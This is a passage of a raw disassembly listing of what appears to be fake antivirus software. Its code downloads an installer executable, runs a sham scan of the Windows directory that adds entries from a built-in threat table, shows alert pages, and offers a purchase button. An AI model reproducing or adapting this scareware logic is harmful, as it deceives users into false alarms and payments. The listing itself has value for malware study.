[eax] call sub_40BABC pop ecx mov esi, eax call sub_417114 test al, al jnz short loc_408F40 call loc_417370 test al, al jnz short loc_408F40 mov eax, esi cdq push 5 pop ecx idiv ecx add eax, 6Bh imul eax, 3 jmp short loc_408F42 ; --------------------------------------------------------------------------- loc_408F40: ; CODE XREF: sub_408F0F+16j ; sub_408F0F+1Fj xor eax, eax loc_408F42: ; CODE XREF: sub_408F0F+2Fj push 0Ah mov esi, offset dword_42F10C push esi push eax call sub_40BB16 add esp, 0Ch mov eax, esi pop esi retn 8 sub_408F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F59 proc near ; DATA XREF: sub_408D98+5Co var_104 = dword ptr -104h var_100 = byte ptr -100h arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 104h push esi push edi mov edi, [ebp+arg_4] mov esi, [edi] lea eax, [ebp+var_100] mov [ebp+var_104], eax call off_42A000 push eax push esi lea eax, [ebp+var_104] push eax call sub_40A2F3 push [ebp+var_104] call sub_417023 lea eax, [ebp+var_100] cmp [ebp+var_104], eax jz short loc_408FAE push [ebp+var_104] call sub_40ADC8 pop ecx loc_408FAE: ; CODE XREF: sub_408F59+47j mov eax, [edi] pop edi pop esi leave retn 8 sub_408F59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=404h sub_408FB6 proc near ; DATA XREF: sub_408D98+73o var_620 = dword ptr -620h var_61C = byte ptr -61Ch var_59C = dword ptr -59Ch var_598 = byte ptr -598h var_518 = dword ptr -518h var_514 = byte ptr -514h var_498 = dword ptr -498h var_494 = byte ptr -494h var_414 = dword ptr -414h var_410 = dword ptr -410h var_408 = dword ptr -408h var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp sub esp, 400h lea ebp, [esp-4] mov eax, dword_42A034 xor eax, ebp mov [ebp+404h+var_4], eax push 210h mov eax, offset loc_41C277 call sub_40C46D mov ebx, [ebp+410h] lea eax, [ebp+404h+var_404] push eax push 200h mov [ebp+404h+var_414], ecx call dword_41D090 ; GetTempPathW lea edi, [ebp+404h+var_404] dec edi dec edi loc_408FFA: ; CODE XREF: sub_408FB6+4Dj mov ax, [edi+2] inc edi inc edi test ax, ax jnz short loc_408FFA push 0Ch pop ecx mov esi, offset aSwp2009_full_v ; "swp2009_full_version.exe" rep movsd lea eax, [ebp+404h+var_494] movsw mov [ebp+404h+var_498], eax call off_42A000 push eax lea eax, [ebp+404h+var_404] push eax lea eax, [ebp+404h+var_498] push eax call sub_40A398 push [ebp+404h+var_498] call sub_40B896 lea eax, [ebp+404h+var_494] pop ecx cmp [ebp+404h+var_498], eax jz short loc_40905A push [ebp+404h+var_498] call sub_40ADC8 pop ecx loc_40905A: ; CODE XREF: sub_408FB6+96j mov esi, [ebx] lea eax, [ebp+404h+var_514] mov [ebp+404h+var_518], eax call off_42A000 push eax push esi lea eax, [ebp+404h+var_518] push eax call sub_40A2F3 push [ebp+404h+var_518] call dword_41D368 ; DeleteUrlCacheEntryW lea eax, [ebp+404h+var_514] cmp [ebp+404h+var_518], eax jz short loc_4090A2 push [ebp+404h+var_518] call sub_40ADC8 pop ecx loc_4090A2: ; CODE XREF: sub_408FB6+DEj mov ebx, [ebx] lea eax, [ebp+404h+var_514] mov [ebp+404h+var_518], eax call off_42A000 push eax push ebx lea eax, [ebp+404h+var_518] push eax call sub_40A2F3 xor esi, esi push esi push esi lea eax, [ebp+404h+var_404] push eax push [ebp+404h+var_518] push esi call sub_416F68 mov edi, eax lea eax, [ebp+404h+var_514] cmp [ebp+404h+var_518], eax jz short loc_4090F4 push [ebp+404h+var_518] call sub_40ADC8 pop ecx loc_4090F4: ; CODE XREF: sub_408FB6+130j cmp edi, esi jnz loc_409195 lea eax, [ebp+404h+var_61C] mov [ebp+404h+var_620], eax call off_42A000 push eax lea eax, [ebp+404h+var_404] push eax lea eax, [ebp+404h+var_620] push eax call sub_40A398 lea eax, [ebp+404h+var_598] mov [ebp+404h+var_408], esi mov [ebp+404h+var_59C], eax call off_42A000 push eax lea eax, [ebp+404h+var_404] push eax lea eax, [ebp+404h+var_59C] push eax call sub_40A398 push esi push offset off_4246EE push [ebp+404h+var_620] push [ebp+404h+var_59C] call sub_40B5FD lea eax, [ebp+404h+var_598] add esp, 10h cmp [ebp+404h+var_59C], eax jz short loc_409179 push [ebp+404h+var_59C] call sub_40ADC8 pop ecx loc_409179: ; CODE XREF: sub_408FB6+1B5j lea eax, [ebp+404h+var_61C] cmp [ebp+404h+var_620], eax jz short loc_4091AC push [ebp+404h+var_620] call sub_40ADC8 pop ecx jmp short loc_4091AC ; --------------------------------------------------------------------------- loc_409195: ; CODE XREF: sub_408FB6+140j mov eax, [ebp+404h+var_414] push esi push 4246F0h push offset aCanTDownloadIn ; "Can't download installer, please try la"... push dword ptr [eax+4] call dword_41D2F4 ; MessageBoxW loc_4091AC: ; CODE XREF: sub_408FB6+1CFj ; sub_408FB6+1DDj mov eax, offset aTrue ; "true" mov ecx, [ebp+404h+var_410] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov ecx, [ebp+404h+var_4] xor ecx, ebp call sub_40AC1C add ebp, 404h leave retn 8 sub_408FB6 endp ; =============== S U B R O U T I N E ======================================= sub_4091D6 proc near ; DATA XREF: UPX0:00423FC0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_404B59 test [esp+4+arg_0], 1 jz short loc_4091EC push esi call sub_40AC11 pop ecx loc_4091EC: ; CODE XREF: sub_4091D6+Dj mov eax, esi pop esi retn 4 sub_4091D6 endp ; --------------------------------------------------------------------------- loc_4091F2: ; CODE XREF: UPX0:0041C128j push ecx call sub_404B59 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_4091FA proc near ; CODE XREF: sub_40A147+13p push 0 mov eax, offset loc_41C6EE call sub_40C46D mov esi, [ebp+8] push offset aAlert_htm ; "alert.htm" push esi call sub_418A96 xor ebx, ebx mov [ebp-4], ebx push 8 mov dword ptr [esi], offset off_424C34 mov dword ptr [esi+24h], offset loc_424C50 call sub_40B45F pop ecx cmp eax, ebx jz short loc_40923B mov ecx, [edi] mov [eax], bl mov [eax+4], ecx jmp short loc_40923D ; --------------------------------------------------------------------------- loc_40923B: ; CODE XREF: sub_4091FA+36j xor eax, eax loc_40923D: ; CODE XREF: sub_4091FA+3Fj push 8 mov [esi+60h], eax call sub_40B45F pop ecx cmp eax, ebx jz short loc_409256 mov ecx, [edi+4] mov [eax], bl mov [eax+4], ecx jmp short loc_409258 ; --------------------------------------------------------------------------- loc_409256: ; CODE XREF: sub_4091FA+50j xor eax, eax loc_409258: ; CODE XREF: sub_4091FA+5Aj push ebx mov [esi+5Ch], eax mov eax, offset sub_4092A8 push eax push 1 push offset aFstbuttonclick ; "fstButtonClick" mov ecx, esi call sub_418122 mov eax, esi call sub_40C50C retn 4 sub_4091FA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40927A proc near ; CODE XREF: sub_40937F+3p ; sub_40A147+52p ... push esi mov esi, [edi+60h] mov dword ptr [edi], offset off_424C34 mov dword ptr [edi+24h], offset loc_424C50 test esi, esi jz short loc_409294 call sub_40939B loc_409294: ; CODE XREF: sub_40927A+13j mov esi, [edi+5Ch] test esi, esi jz short loc_4092A0 call sub_40939B loc_4092A0: ; CODE XREF: sub_40927A+1Fj mov ecx, edi pop esi jmp sub_404B59 sub_40927A endp ; =============== S U B R O U T I N E ======================================= sub_4092A8 proc near ; DATA XREF: sub_4091FA+62o ; sub_4093B3+62o push esi mov esi, ecx push 0 push dword ptr [esi+4] call dword_41D298 ; ShowWindow push dword ptr [esi+4] call sub_417588 pop ecx mov eax, offset aTrue ; "true" pop esi retn 8 sub_4092A8 endp ; --------------------------------------------------------------------------- mov eax, [ecx+5Ch] push dword ptr [eax+4] call dword_41D070 ; SetEvent retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092D7 proc near ; DATA XREF: UPX0:00424C44o var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 20h push ebx push esi xor ebx, ebx push edi mov edi, dword_41D074 mov esi, ecx mov [ebp+var_1], bl jmp short loc_409323 ; --------------------------------------------------------------------------- loc_4092EF: ; CODE XREF: sub_4092D7+5Dj lea eax, [ebp+var_20] push eax call dword_41D2D8 ; TranslateMessage cmp [ebp+var_1C], 10h jz short loc_409338 mov eax, 100h cmp [ebp+var_1C], eax jnz short loc_409319 push [ebp+var_14] push [ebp+var_18] push eax push dword ptr [esi+4] call dword_41D288 ; SendMessageW loc_409319: ; CODE XREF: sub_4092D7+30j lea eax, [ebp+var_20] push eax call dword_41D26C ; DispatchMessageW loc_409323: ; CODE XREF: sub_4092D7+16j ; sub_4092D7+9Ej push 1 push ebx push ebx push ebx lea eax, [ebp+var_20] push eax call dword_41D2F0 ; PeekMessageW test eax, eax jnz short loc_4092EF jmp short loc_40933C ; --------------------------------------------------------------------------- loc_409338: ; CODE XREF: sub_4092D7+26j mov [ebp+var_1], 1 loc_40933C: ; CODE XREF: sub_4092D7+5Fj mov eax, [esi+5Ch] push 1 push ebx push dword ptr [eax+4] call edi ; dword_41D074 test eax, eax jnz short loc_40934E push ebx jmp short loc_40935F ; --------------------------------------------------------------------------- loc_40934E: ; CODE XREF: sub_4092D7+72j mov eax, [esi+60h] push 1 push ebx push dword ptr [eax+4] call edi ; dword_41D074 test eax, eax jnz short loc_40936A push 5 loc_40935F: ; CODE XREF: sub_4092D7+75j push dword ptr [esi+4] call dword_41D298 ; ShowWindow jmp short loc_409372 ; --------------------------------------------------------------------------- loc_40936A: ; CODE XREF: sub_4092D7+84j push 1 call dword_41D080 ; Sleep loc_409372: ; CODE XREF: sub_4092D7+91j cmp [ebp+var_1], bl jz short loc_409323 mov eax, [ebp+var_18] pop edi pop esi pop ebx leave retn sub_4092D7 endp ; =============== S U B R O U T I N E ======================================= sub_40937F proc near ; DATA XREF: UPX0:00424C38o arg_0 = byte ptr 4 push edi mov edi, ecx call sub_40927A test [esp+4+arg_0], 1 jz short loc_409395 push edi call sub_40AC11 pop ecx loc_409395: ; CODE XREF: sub_40937F+Dj mov eax, edi pop edi retn 4 sub_40937F endp ; =============== S U B R O U T I N E ======================================= sub_40939B proc near ; CODE XREF: sub_40927A+15p ; sub_40927A+21p ... cmp byte ptr [esi], 0 jz short loc_4093A9 push dword ptr [esi+4] call dword_41D0A8 ; CloseHandle loc_4093A9: ; CODE XREF: sub_40939B+3j push esi call sub_40AC11 pop ecx mov eax, esi retn sub_40939B endp ; =============== S U B R O U T I N E ======================================= sub_4093B3 proc near ; CODE XREF: sub_40A0E8+13p push 0 mov eax, offset loc_41C6EE call sub_40C46D mov esi, [ebp+8] push offset aNetalert_htm ; "netalert.htm" push esi call sub_418A96 xor ebx, ebx mov [ebp-4], ebx push 8 mov dword ptr [esi], offset off_424C70 mov dword ptr [esi+24h], (offset loc_424C87+5) call sub_40B45F pop ecx cmp eax, ebx jz short loc_4093F4 mov ecx, [edi] mov [eax], bl mov [eax+4], ecx jmp short loc_4093F6 ; --------------------------------------------------------------------------- loc_4093F4: ; CODE XREF: sub_4093B3+36j xor eax, eax loc_4093F6: ; CODE XREF: sub_4093B3+3Fj push 8 mov [esi+60h], eax call sub_40B45F pop ecx cmp eax, ebx jz short loc_40940F mov ecx, [edi+4] mov [eax], bl mov [eax+4], ecx jmp short loc_409411 ; --------------------------------------------------------------------------- loc_40940F: ; CODE XREF: sub_4093B3+50j xor eax, eax loc_409411: ; CODE XREF: sub_4093B3+5Aj push ebx mov [esi+5Ch], eax mov eax, offset sub_4092A8 push eax push 1 push offset aFstbuttonclick ; "fstButtonClick" mov ecx, esi call sub_418122 mov eax, esi call sub_40C50C retn 4 sub_4093B3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_409433 proc near ; CODE XREF: UPX0:0040951Ap ; sub_40A0E8+52p ... push esi mov esi, [edi+60h] mov dword ptr [edi], offset off_424C70 mov dword ptr [edi+24h], (offset loc_424C87+5) test esi, esi jz short loc_40944D call sub_40939B loc_40944D: ; CODE XREF: sub_409433+13j mov esi, [edi+5Ch] test esi, esi jz short loc_409459 call sub_40939B loc_409459: ; CODE XREF: sub_409433+1Fj mov ecx, edi pop esi jmp sub_404B59 sub_409433 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h push ebx push esi xor ebx, ebx push edi mov edi, dword_41D074 mov esi, ecx mov [ebp-1], bl jmp short loc_4094AD ; --------------------------------------------------------------------------- loc_409479: ; CODE XREF: UPX0:004094BEj lea eax, [ebp-20h] push eax call dword_41D2D8 ; TranslateMessage cmp dword ptr [ebp-1Ch], 10h jz short loc_4094C2 mov eax, 100h cmp [ebp-1Ch], eax jnz short loc_4094A3 push dword ptr [ebp-14h] push dword ptr [ebp-18h] push eax push dword ptr [esi+4] call dword_41D288 ; SendMessageW loc_4094A3: ; CODE XREF: UPX0:00409491j lea eax, [ebp-20h] push eax call dword_41D26C ; DispatchMessageW loc_4094AD: ; CODE XREF: UPX0:00409477j ; UPX0:0040950Dj push 1 push ebx push ebx push ebx lea eax, [ebp-20h] push eax call dword_41D2F0 ; PeekMessageW test eax, eax jnz short loc_409479 jmp short loc_4094C6 ; --------------------------------------------------------------------------- loc_4094C2: ; CODE XREF: UPX0:00409487j mov byte ptr [ebp-1], 1 loc_4094C6: ; CODE XREF: UPX0:004094C0j mov eax, [esi+5Ch] push 1 push ebx push dword ptr [eax+4] call edi ; dword_41D074 test eax, eax jnz short loc_4094D8 push ebx jmp short loc_4094F7 ; --------------------------------------------------------------------------- loc_4094D8: ; CODE XREF: UPX0:004094D3j mov eax, [esi+60h] push 1 push ebx push dword ptr [eax+4] call edi ; dword_41D074 test eax, eax jnz short loc_409502 push ebx push ebx push offset aSetinfo ; "setInfo" mov eax, esi call sub_417FE1 push 5 loc_4094F7: ; CODE XREF: UPX0:004094D6j push dword ptr [esi+4] call dword_41D298 ; ShowWindow jmp short loc_40950A ; --------------------------------------------------------------------------- loc_409502: ; CODE XREF: UPX0:004094E5j push 1 call dword_41D080 ; Sleep loc_40950A: ; CODE XREF: UPX0:00409500j cmp [ebp-1], bl jz short loc_4094AD mov eax, [ebp-18h] pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push edi mov edi, ecx call sub_409433 test byte ptr [esp+8], 1 jz short loc_40952D push edi call sub_40AC11 pop ecx loc_40952D: ; CODE XREF: UPX0:00409524j mov eax, edi pop edi retn 4 ; =============== S U B R O U T I N E ======================================= sub_409533 proc near ; CODE XREF: sub_409FB8+3Ap push 4 mov eax, offset loc_41C6CB call sub_40C46D mov edi, [ebp+8] push offset aHtmlmain_htm ; "htmlMain.htm" push edi call sub_418A96 xor ebx, ebx mov [ebp-4], ebx mov dword ptr [edi], offset off_424CAC mov dword ptr [edi+24h], offset loc_424CC8 xor eax, eax xor ecx, ecx push 1 lea esi, [edi+78h] mov [edi+70h], eax mov [edi+74h], ecx mov [edi+68h], ebx mov [edi+64h], ebx mov [edi+60h], ebx call sub_408D6F mov byte ptr [ebp-4], 1 push 8 mov [edi+88h], bl mov byte ptr [edi+9Dh], 1 call sub_40B45F mov esi, [ebp+0Ch] pop ecx cmp eax, ebx jz short loc_4095A5 mov ecx, [esi] mov [eax], bl mov [eax+4], ecx jmp short loc_4095A7 ; --------------------------------------------------------------------------- loc_4095A5: ; CODE XREF: sub_409533+67j xor eax, eax loc_4095A7: ; CODE XREF: sub_409533+70j push 8 mov [edi+84h], eax call sub_40B45F pop ecx cmp eax, ebx jz short loc_4095C3 mov ecx, [esi+4] mov [eax], bl mov [eax+4], ecx jmp short loc_4095C5 ; --------------------------------------------------------------------------- loc_4095C3: ; CODE XREF: sub_409533+84j xor eax, eax loc_4095C5: ; CODE XREF: sub_409533+8Ej push ebx mov [edi+80h], eax mov eax, offset sub_40968F push eax push 1 push offset aScanbuttonclic ; "scanButtonClick" mov ecx, edi call sub_418122 push ebx mov eax, offset sub_40970B push eax push 1 push offset aPurchase ; "purchase" mov ecx, edi call sub_418122 mov eax, offset sub_40983C mov [edi+70h], eax mov [edi+74h], ebx mov [edi+68h], edi mov [edi+64h], ebx mov [edi+60h], ebx cmp [esi+8], ebx setz al mov [edi+9Ch], al mov eax, edi call sub_40C50C retn 8 sub_409533 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40961F proc near ; CODE XREF: sub_409BAB+3p ; sub_409FB8+113p ... push ecx push ebx push esi push dword ptr [edi+7Ch] mov dword ptr [edi], offset off_424CAC mov dword ptr [edi+24h], offset loc_424CC8 call dword_41D070 ; SetEvent mov eax, [edi+60h] mov ebx, dword_41D0A8 test eax, eax jz short loc_40965B push 0FFFFFFFFh push eax call dword_41D06C ; WaitForSingleObject test eax, eax jnz short loc_40965B push dword ptr [edi+60h] call ebx ; dword_41D0A8 and dword ptr [edi+64h], 0 loc_40965B: ; CODE XREF: sub_40961F+24j ; sub_40961F+31j mov esi, [edi+84h] test esi, esi jz short loc_40966A call sub_40939B loc_40966A: ; CODE XREF: sub_40961F+44j mov esi, [edi+80h] test esi, esi jz short loc_409679 call sub_40939B loc_409679: ; CODE XREF: sub_40961F+53j cmp byte ptr [edi+78h], 0 jz short loc_409684 push dword ptr [edi+7Ch] call ebx ; dword_41D0A8 loc_409684: ; CODE XREF: sub_40961F+5Ej mov ecx, edi call sub_404B59 pop esi pop ebx pop ecx retn sub_40961F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40968F proc near ; DATA XREF: sub_409533+99o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push esi mov esi, ecx cmp byte ptr [esi+88h], 0 jnz short loc_4096F8 push ebx push edi push 0 push 0 push offset aScanstart ; "scanStart" mov eax, esi call sub_417FE1 lea eax, [ebp+var_4] push eax push dword ptr [esi+34h] push offset dword_424384 call dword_41D3CC mov ebx, [ebp+var_4] push 8 lea edi, [esi+60h] call sub_40B45F pop ecx lea ecx, [edi+4] push ecx xor ecx, ecx push ecx push eax push offset sub_40A452 push ecx push ecx mov [eax], edi mov [eax+4], ebx call dword_41D0B0 ; CreateThread mov [edi], eax pop edi mov byte ptr [esi+88h], 1 pop ebx jmp short loc_409701 ; --------------------------------------------------------------------------- loc_4096F8: ; CODE XREF: sub_40968F+Ej push dword ptr [esi+7Ch] call dword_41D070 ; SetEvent loc_409701: ; CODE XREF: sub_40968F+67j mov eax, offset aTrue ; "true" pop esi leave retn 8 sub_40968F endp ; =============== S U B R O U T I N E ======================================= sub_40970B proc near ; DATA XREF: sub_409533+AEo push ecx push dword ptr [ecx+4] call sub_417588 pop ecx mov eax, offset aTrue ; "true" pop ecx retn 8 sub_40970B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40971E proc near ; CODE XREF: sub_4098E0+1CEp var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push 0Ah lea eax, [ebp+var_18] push eax push [ebp+arg_0] call sub_40B83C lea eax, [ebp+var_18] add esp, 0Ch mov [ebp+var_1C], eax lea eax, [ebp+var_1C] push eax push 1 push offset aSetprogressbar ; "setProgressBar" mov eax, esi call sub_417FE1 mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AC1C leave retn 4 sub_40971E endp ; --------------------------------------------------------------------------- mov eax, [ecx+80h] push dword ptr [eax+4] call dword_41D070 ; SetEvent call sub_4170C1 retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40977C proc near ; DATA XREF: UPX0:00424CBCo var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 20h push ebx push esi xor ebx, ebx push edi mov edi, dword_41D074 mov esi, ecx mov [ebp+var_1], bl jmp short loc_4097C8 ; --------------------------------------------------------------------------- loc_409794: ; CODE XREF: sub_40977C+5Dj lea eax, [ebp+var_20] push eax call dword_41D2D8 ; TranslateMessage cmp [ebp+var_1C], 10h jz short loc_4097DD mov eax, 100h cmp [ebp+var_1C], eax jnz short loc_4097BE push [ebp+var_14] push [ebp+var_18] push eax push dword ptr [esi+4] call dword_41D288 ; SendMessageW loc_4097BE: ; CODE XREF: sub_40977C+30j lea eax, [ebp+var_20] push eax call dword_41D26C ; DispatchMessageW loc_4097C8: ; CODE XREF: sub_40977C+16j ; sub_40977C+B6j push 1 push ebx push ebx push ebx lea eax, [ebp+var_20] push eax call dword_41D2F0 ; PeekMessageW test eax, eax jnz short loc_409794 jmp short loc_4097E1 ; --------------------------------------------------------------------------- loc_4097DD: ; CODE XREF: sub_40977C+26j mov [ebp+var_1], 1 loc_4097E1: ; CODE XREF: sub_40977C+5Fj mov eax, [esi+80h] push 1 push ebx push dword ptr [eax+4] call edi ; dword_41D074 test eax, eax jnz short loc_4097FF push ebx push dword ptr [esi+4] call dword_41D298 ; ShowWindow jmp short loc_40982F ; --------------------------------------------------------------------------- loc_4097FF: ; CODE XREF: sub_40977C+75j mov eax, [esi+84h] push 1 push ebx push dword ptr [eax+4] call edi ; dword_41D074 test eax, eax jnz short loc_409827 push 5 push dword ptr [esi+4] call dword_41D298 ; ShowWindow push dword ptr [esi+4] call dword_41D334 ; SetForegroundWindow jmp short loc_40982F ; --------------------------------------------------------------------------- loc_409827: ; CODE XREF: sub_40977C+93j push 1 call dword_41D080 ; Sleep loc_40982F: ; CODE XREF: sub_40977C+81j ; sub_40977C+A9j cmp [ebp+var_1], bl jz short loc_4097C8 mov eax, [ebp+var_18] pop edi pop esi pop ebx leave retn sub_40977C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40983C proc near ; DATA XREF: sub_409533+C2o var_218 = byte ptr -218h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 218h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx push ebx mov esi, ecx call dword_41D3C8 lea eax, [esi+34h] push eax push offset dword_424384 push edi call dword_41D390 push dword ptr [esi+7Ch] call dword_41D098 ; ResetEvent push 104h lea eax, [ebp+var_218] push eax mov [esi+8Ch], ebx mov [esi+90h], ebx mov [esi+94h], ebx mov dword ptr [esi+98h], 22h call dword_41D0AC ; GetWindowsDirectoryW lea eax, [ebp+var_218] push eax mov ecx, esi call sub_4098E0 push ebx push ebx push offset aScanstop ; "scanStop" mov eax, esi call sub_417FE1 mov [esi+88h], bl call dword_41D3C0 mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn 4 sub_40983C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098E0 proc near ; CODE XREF: sub_40983C+74p ; sub_4098E0+17Fp var_2B8 = dword ptr -2B8h var_2B4 = byte ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = byte ptr -2ACh var_2A8 = dword ptr -2A8h var_2A4 = dword ptr -2A4h var_2A0 = byte ptr -2A0h var_29C = dword ptr -29Ch var_288 = dword ptr -288h var_284 = byte ptr -284h var_280 = dword ptr -280h var_26C = dword ptr -26Ch var_268 = byte ptr -268h var_23C = byte ptr -23Ch var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h push 0FFFFFFFFh push offset loc_41C599 mov eax, large fs:0 push eax sub esp, 2B0h mov eax, dword_42A034 xor eax, esp mov [esp+2BCh+var_14], eax push ebx push esi push edi mov eax, dword_42A034 xor eax, esp push eax lea eax, [esp+2CCh+var_C] mov large fs:0, eax mov eax, [ebp+arg_0] mov [esp+2CCh+var_2B0], eax push eax lea eax, [esp+2D0h+var_284] mov edi, ecx call sub_40518A and [esp+2CCh+var_4], 0 push offset asc_424958 ; "\\*" lea eax, [esp+2D0h+var_284] push eax call sub_40A281 cmp [esp+2CCh+var_26C], 8 mov eax, [esp+2CCh+var_280] jnb short loc_409959 lea eax, [esp+2CCh+var_280] loc_409959: ; CODE XREF: sub_4098E0+73j lea ecx, [esp+2CCh+var_268] push ecx push eax call dword_41D1BC ; FindFirstFileW mov dword ptr [esp+2CCh+var_2B4], eax cmp eax, 0FFFFFFFFh jz loc_409B78 mov ebx, 10E1h loc_409977: ; CODE XREF: sub_4098E0+288j push 0 push dword ptr [edi+7Ch] call dword_41D06C ; WaitForSingleObject test eax, eax jz loc_409B6E mov ecx, offset a_ ; "." lea eax, [esp+2CCh+var_23C] loc_409996: ; CODE XREF: sub_4098E0+D6j mov dx, [eax] cmp dx, [ecx] jnz short loc_4099BC test dx, dx jz short loc_4099B8 mov dx, [eax+2] cmp dx, [ecx+2] jnz short loc_4099BC add eax, 4 add ecx, 4 test dx, dx jnz short loc_409996 loc_4099B8: ; CODE XREF: sub_4098E0+C1j xor eax, eax jmp short loc_4099C1 ; --------------------------------------------------------------------------- loc_4099BC: ; CODE XREF: sub_4098E0+BCj ; sub_4098E0+CBj sbb eax, eax sbb eax, 0FFFFFFFFh loc_4099C1: ; CODE XREF: sub_4098E0+DAj test eax, eax jz loc_409B3F mov ecx, offset a__ ; ".." lea eax, [esp+2CCh+var_23C] loc_4099D5: ; CODE XREF: sub_4098E0+115j mov dx, [eax] cmp dx, [ecx] jnz short loc_4099FB test dx, dx jz short loc_4099F7 mov dx, [eax+2] cmp dx, [ecx+2] jnz short loc_4099FB add eax, 4 add ecx, 4 test dx, dx jnz short loc_4099D5 loc_4099F7: ; CODE XREF: sub_4098E0+100j xor eax, eax jmp short loc_409A00 ; --------------------------------------------------------------------------- loc_4099FB: ; CODE XREF: sub_4098E0+FBj ; sub_4098E0+10Aj sbb eax, eax sbb eax, 0FFFFFFFFh loc_409A00: ; CODE XREF: sub_4098E0+119j test eax, eax jz loc_409B3F push [esp+2CCh+var_2B0] lea eax, [esp+2D0h+var_2A0] call sub_40518A push offset asc_42496C ; "\\" lea eax, [esp+2D0h+var_2A0] push eax mov byte ptr [esp+2D4h+var_4], 1 call sub_40A281 lea eax, [esp+2CCh+var_23C] push eax lea eax, [esp+2D0h+var_2A0] push eax call sub_40A281 push 0Ah call dword_41D080 ; Sleep test [esp+2CCh+var_268], 10h mov eax, [esp+2CCh+var_29C] jz short loc_409A69 cmp [esp+2CCh+var_288], 8 jnb short loc_409A5C lea eax, [esp+2CCh+var_29C] loc_409A5C: ; CODE XREF: sub_4098E0+176j push eax mov ecx, edi call sub_4098E0 jmp loc_409B2A ; --------------------------------------------------------------------------- loc_409A69: ; CODE XREF: sub_4098E0+16Fj cmp [esp+2CCh+var_288], 8 jnb short loc_409A74 lea eax, [esp+2CCh+var_29C] loc_409A74: ; CODE XREF: sub_4098E0+18Ej mov [esp+2CCh+var_2B8], eax lea eax, [esp+2CCh+var_2B8] push eax push 1 push offset aSetscanfile ; "setScanFile" mov eax, edi call sub_417FE1 inc dword ptr [edi+8Ch] mov eax, [edi+8Ch] imul eax, 64h cdq mov ecx, ebx idiv ecx lea ecx, [edi+90h] cmp eax, [ecx] jz short loc_409AB3 push eax mov esi, edi mov [ecx], eax call sub_40971E loc_409AB3: ; CODE XREF: sub_4098E0+1C7j mov esi, [edi+94h] test esi, esi jz short loc_409AEE mov ecx, [edi+98h] cmp esi, ecx jge short loc_409B2A mov eax, ebx cdq idiv ecx mov [esp+2CCh+var_2B8], eax fild [esp+2CCh+var_2B8] fdiv dbl_424CF8 call sub_418CC0 mov ecx, eax mov eax, [edi+8Ch] cdq idiv ecx test edx, edx jnz short loc_409B2A loc_409AEE: ; CODE XREF: sub_4098E0+1DBj mov eax, esi imul eax, 0Ch mov ecx, off_42DA60[eax] mov edx, off_42DA5C[eax] mov eax, off_42DA58[eax] mov [esp+2CCh+var_2A4], eax lea eax, [esp+2CCh+var_2AC] push eax push 3 push offset aAddvirustable ; "addVirusTable" mov eax, edi mov [esp+2D8h+var_2A8], edx mov dword ptr [esp+2D8h+var_2AC], ecx call sub_417FE1 inc dword ptr [edi+94h] loc_409B2A: ; CODE XREF: sub_4098E0+184j ; sub_4098E0+1E5j ... push 0 push 1 lea esi, [esp+2D4h+var_2A0] mov byte ptr [esp+2D4h+var_4], 0 call sub_4055BC loc_409B3F: ; CODE XREF: sub_4098E0+E3j ; sub_4098E0+122j lea eax, [esp+2CCh+var_268] push eax push dword ptr [esp+2D0h+var_2B4] call dword_41D0A4 ; FindNextFileW cmp eax, 1 jnz short loc_409B6E push 0 push dword ptr [edi+7Ch] call dword_41D06C ; WaitForSingleObject test eax, eax jz short loc_409B6E cmp [edi+8Ch], ebx jl loc_409977 loc_409B6E: ; CODE XREF: sub_4098E0+A4j ; sub_4098E0+271j ... push dword ptr [esp+2CCh+var_2B4] call dword_41D094 ; FindClose loc_409B78: ; CODE XREF: sub_4098E0+8Cj push 0 push 1 lea esi, [esp+2D4h+var_284] call sub_4055BC mov ecx, [esp+2CCh+var_C] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov ecx, [esp+2BCh+var_14] xor ecx, esp call sub_40AC1C mov esp, ebp pop ebp retn 4 sub_4098E0 endp ; =============== S U B R O U T I N E ======================================= sub_409BAB proc near ; DATA XREF: UPX0:00424CB0o arg_0 = byte ptr 4 push edi mov edi, ecx call sub_40961F test [esp+4+arg_0], 1 jz short loc_409BC1 push edi call sub_40AC11 pop ecx loc_409BC1: ; CODE XREF: sub_409BAB+Dj mov eax, edi pop edi retn 4 sub_409BAB endp ; =============== S U B R 